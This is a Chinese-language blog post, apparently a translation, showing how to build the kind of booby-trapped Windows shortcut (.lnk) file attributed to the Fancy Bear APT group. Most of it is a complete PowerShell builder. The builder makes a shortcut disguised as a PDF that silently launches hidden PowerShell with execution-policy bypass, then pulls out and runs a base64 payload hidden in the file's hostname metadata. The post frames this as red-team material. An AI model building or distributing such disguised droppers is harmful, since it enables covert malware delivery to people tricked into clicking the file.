美文网首页Windows
解析制作俄罗斯APT组织使用的快捷方式后门文件

解析制作俄罗斯APT组织使用的快捷方式后门文件

作者: Turays | 来源:发表于2017-04-21 22:25 被阅读0次

    **在Word或zip文档中嵌入一个指向powershell的快捷方式文件(.lnk),是一种已知的恶意软件隐蔽传播方法,就连涉嫌干扰美国大选的俄罗斯APT组织也经常使用这种方法(参考:VolexityCrowdStrike)。例如,在奇幻熊(Fancy Bear)针对一些美国研究机构的网络渗透中,就使用了一种很少见的快捷方式文件后门攻击,通过该手段,攻击者不仅实现了powershell命令的嵌入执行,还能把整个payload存储在.lnk文件隐秘位置完成攻击调用,受害者一不小心点击了这种恶意的lnk文件,就会掉进攻击者布下的“陷阱”中。
    **

    对红方渗透人员来说,该攻击手段和相关样本的研究学习非常有用。本文中,我将展示如何制作“奇幻熊式”的恶意快捷方式文件(.lnk),通过该.lnk文件生成的恶意程序主体Dropper可应用于渗透测试场景中。该Dropper程序包含.lnk文件目标路径区域powershell、构造精巧的调用脚本和嵌入payload三个主要部分,结构流程如下图抽象所示:


    规避目标系统的长度限制

    我们都知道,在Windows系统中创建快捷方式文件非常简单:桌面环境下,右键点击鼠标,“新建”,然后“快捷方式”,之后跳出一个要求输入对象位置的对话框,以此就完成了一次.lnk文件创建。之后,如下图所示,我们可以查看一下该lnk文件的属性特征,并尝试向其目标路径(target)中添加其它参数。



    在.lnk文件属性下的目标路径区域(target)中,可以加入最多260个字符数。由于有字符数的限制,为了创建一个快捷方式后门,我们只能将lnk文件指向例如powershell的执行程序,并在其中加入一段很小的经过封装的命令作为执行参数。但是,要突破这种目标路径区域的最大字符限制,可以通过jscript创建的WScript Shell对象快捷方式来实现,该方式可以向目标路径区域添加达1096个字符数。扩展增加后的目标路径区域如下图十六进制编辑器中所示:


    对Lnk格式文件的利(làn)用

    找到扩展增加目标路径区域字符数的方法,就可以实现向指向powershell中传递更多的执行参数,但对于熟谙.lnk文件格式的攻击者来说,这种方法还不足以执行足够大、足够精巧的调用脚本。
    当一个快捷方式文件被创建之后,很多关于系统的元数据信息也被储存在其lnk文件中,例如驱动器标签、主机名称等:


    当我研究了.lnk格式文件规范后发现,这些元数据都可能包含了一个不限长度的变量。就拿主机名称元数据来说,它可以储存一个任意长度的变量,而这点就可能被攻击者利用,用来嵌入任意payload,即目标路径区域内不允许执行的、有长度限制的payload,攻击者可以放到这里进行隐蔽存储和调用执行。

    创建快捷方式后门“陷阱”文件

    有了以上这些信息之后,可以尝试制作一个恶意的快捷方式陷阱文件。在这里,我直接选用系统内置的powershell作为脚本编译语言。以下是对该恶意lnk文件三个主体部分的制作思路:
    第一部分,我们需要构造一个调用payload的powershell脚本。
    该脚本被以指向powershell执行的编码参数形式,存储在lnk文件属性的目标路径区域(target)中,当受害者点击了lnk文件之后,该脚本将会被自动执行。这个精心构造的脚本最终将会调用存储在lnk文件主机名称元数据区域的payload。以下是这个脚本的典型示例:


    实现代码:
    #--Carving script: will find and decode the script block
    #--embedded in the shortcuts hostname
    
    $payloadStartIndexInShortcut=1000;
    $payloadSize=100;
    $shortcutFilename="interesting-title.lnk";
    #create a byte array to store the encoded payload
    $encodedPayloadBytes=New-Object byte[]($payloadSize);
    #read the contents of the shortcut, starting from $payloadStart
    $lnk=New-Object IO.FileStream $shortcutFilename,'Open','Read','ReadWrite';
    $lnk.Seek($payloadStartIndexInShortcut,[IO.SeekOrigin]::Begin);
    $lnk.Read($encodedPayloadBytes,0,$payloadSize);
    
    #Base64 decode encoded payload
    $decodedPayloadBytes=[Convert]::FromBase64CharArray($encodedPayloadBytes,0,$encodedPayloadBytes.Length);
    $scriptBlock=[Text.Encoding]::Unicode.GetString($decodedPayloadBytes);
    #execute payload (script block)
    iex $scriptBlock;
    

    第二部分就是突破目标路径区域长度限制,创建指向powershell脚本的快捷方式文件;
    最后一部分就是编写payload,该payload可以是嵌入到lnk文件元数据区域变量的base64执行程序,可以执行磁盘写入或内存写入等其它恶意功能。

    最终实现代码

    所有这三部分的最终代码实现可以参考以下快捷方式后门“陷阱”文件创建代码,该代码为powershell脚本,包含payload配置选项,并可用于渗透测试场景中,请勿用于非法目的。

    #
    # Create backdoored LNK file - by Felix Weyne
    # Info: https://www.uperesia.com/booby-trapped-shortcut
    # -Usage: place your powershell payload in $payloadContents
    # -This payload can embed for instance an executable that needs
    # -to be dropped to disk/loaded into memory
    #
    
    $shortcutName = "interesting-title-to-click-on.pdf.lnk"
    $shortcutOutputPath = "$Home\Desktop\"+$shortcutName
    $shortcutFallbackExecutionFolder="`$env:temp"
    $payloadContents =
    @'
        echo "This payload/script block can be huge, easily a few megabytes";
        echo $env:computername >> $Home\Desktop\IhaveRun.txt
        echo $env:computername >> $Home\Desktop\IhaveRun.txt
    '@
    
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($payloadContents)
    $payload = [Convert]::ToBase64String($bytes)
    
    function Convert-ByteArrayToHexString($inputByteArray)
    {
        $String = [System.BitConverter]::ToString($inputByteArray)
        $String = $String -replace "\-",""
        $String
    }
    
    function Convert-HexStringToByteArray ($hexString) {
        $hexString = $hexString.ToLower()
        ,@($hexString -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}})
    }
    
    function CreateShortcut($payloadStart,$payloadSize) {
    
    #<------>
    #<Part 1: encode carving script>
    #<------>
    
    #$stP = startPayload, $siP = sizePayload,
    #$scB = scriptblock, $lnk = filestream LNK file
    #$b64 = base64 encoded scriptblok, $f=shortcut name
    $carvingScript = @'
    $stP,$siP={0},{1};
    $f='{2}';
    if(-not(Test-Path $f)){{
    $x=Get-ChildItem -Path {3} -Filter $f -Recurse;
    [IO.Directory]::SetCurrentDirectory($x.DirectoryName);
    }}
    $lnk=New-Object IO.FileStream $f,'Open','Read','ReadWrite';
    $b64=New-Object byte[]($siP);
    $lnk.Seek($stP,[IO.SeekOrigin]::Begin);
    $lnk.Read($b64,0,$siP);
    $b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length);
    $scB=[Text.Encoding]::Unicode.GetString($b64);
    iex $scB;
    '@ -f $payloadStart,$payloadSize,$shortcutName,$shortcutFallbackExecutionFolder
        write-host "Generated carvingscript:" -foregroundcolor "yellow"
        echo $carvingScript;
        $compressedCarvingScript = $carvingScript -replace "`n",''  -replace "`r",''
    
        # Convert string to base64 encoded command
        $bytes = [System.Text.Encoding]::UTF8.GetBytes( $compressedCarvingScript  )
        $encodedCommand = [Convert]::ToBase64String($bytes)
    
       
        #<------>
        #<Part 2: create shortcut with encoded carving script>
        #<------>
    
        $WshShell = New-Object -comObject WScript.Shell
    
        $Shortcut = $WshShell.CreateShortcut($shortcutOutputPath)
        $Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        $Shortcut.Arguments = "-win hidden -Ep ByPass `$r = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('$encodedCommand')); iex `$r;"
        #使用IE图标
        $Shortcut.IconLocation = "C:\Windows\system32\SHELL32.dll,242"
        #运行窗口最小化
        $Shortcut.WindowStyle = "7"
        $Shortcut.Save()
    }
    
    #<------>
    #<Part 3: find start of embedded payload (start of computer hostname)>
    #<------>
    write-host "Creating LNK with payload. This will enable us to see where the payload starts" -foregroundcolor "green"
    $payloadSize = $payload.Length
    CreateShortcut 9999 $payloadSize
    
    $enc = [system.Text.Encoding]::UTF8
    [string]$computerName = $ENV:COMPUTERNAME
    $computerNameBytes = $enc.GetBytes($computerName.ToLower())
    
    $readin = [System.IO.File]::ReadAllBytes($shortcutOutputPath);
    $contentsLnkFile = (Convert-ByteArrayToHexString $readin) -join ''
    $computerNameInHex = (Convert-ByteArrayToHexString $computerNameBytes) -join ''
    
    $startPayload = ($contentsLnkFile.IndexOf($computerNameInHex)) / 2
    write-host "Start of payload in LNK file is at byte: #"$startPayload -foregroundcolor "green"
    
    #<------>
    #<Part 3: create new link with correct start of payload
    #<------>
    Remove-Item $shortcutOutputPath
    
    CreateShortcut $startPayload $payloadSize
    write-host "Output LNK file: "  $shortcutOutputPath -foregroundcolor "Cyan"
    
    
    #<------>
    #<Part 4: embed payload
    #<------>
    $payloadBytes = $enc.GetBytes($payload)
    $payloadInHex = Convert-ByteArrayToHexString $payloadBytes
    $readin = [System.IO.File]::ReadAllBytes($shortcutOutputPath);
    $contentsLnkFile = (Convert-ByteArrayToHexString $readin) -join ''
    $contentsLnkFile = $contentsLnkFile -replace $computerNameInHex,$payloadInHex;
    
    $writeout = Convert-HexStringToByteArray $contentsLnkFile;
    set-content -value $writeout -encoding byte -path $shortcutOutputPath;
    

    相关文章

      网友评论

        本文标题:解析制作俄罗斯APT组织使用的快捷方式后门文件

        本文链接:https://www.haomeiwen.com/subject/kjejzttx.html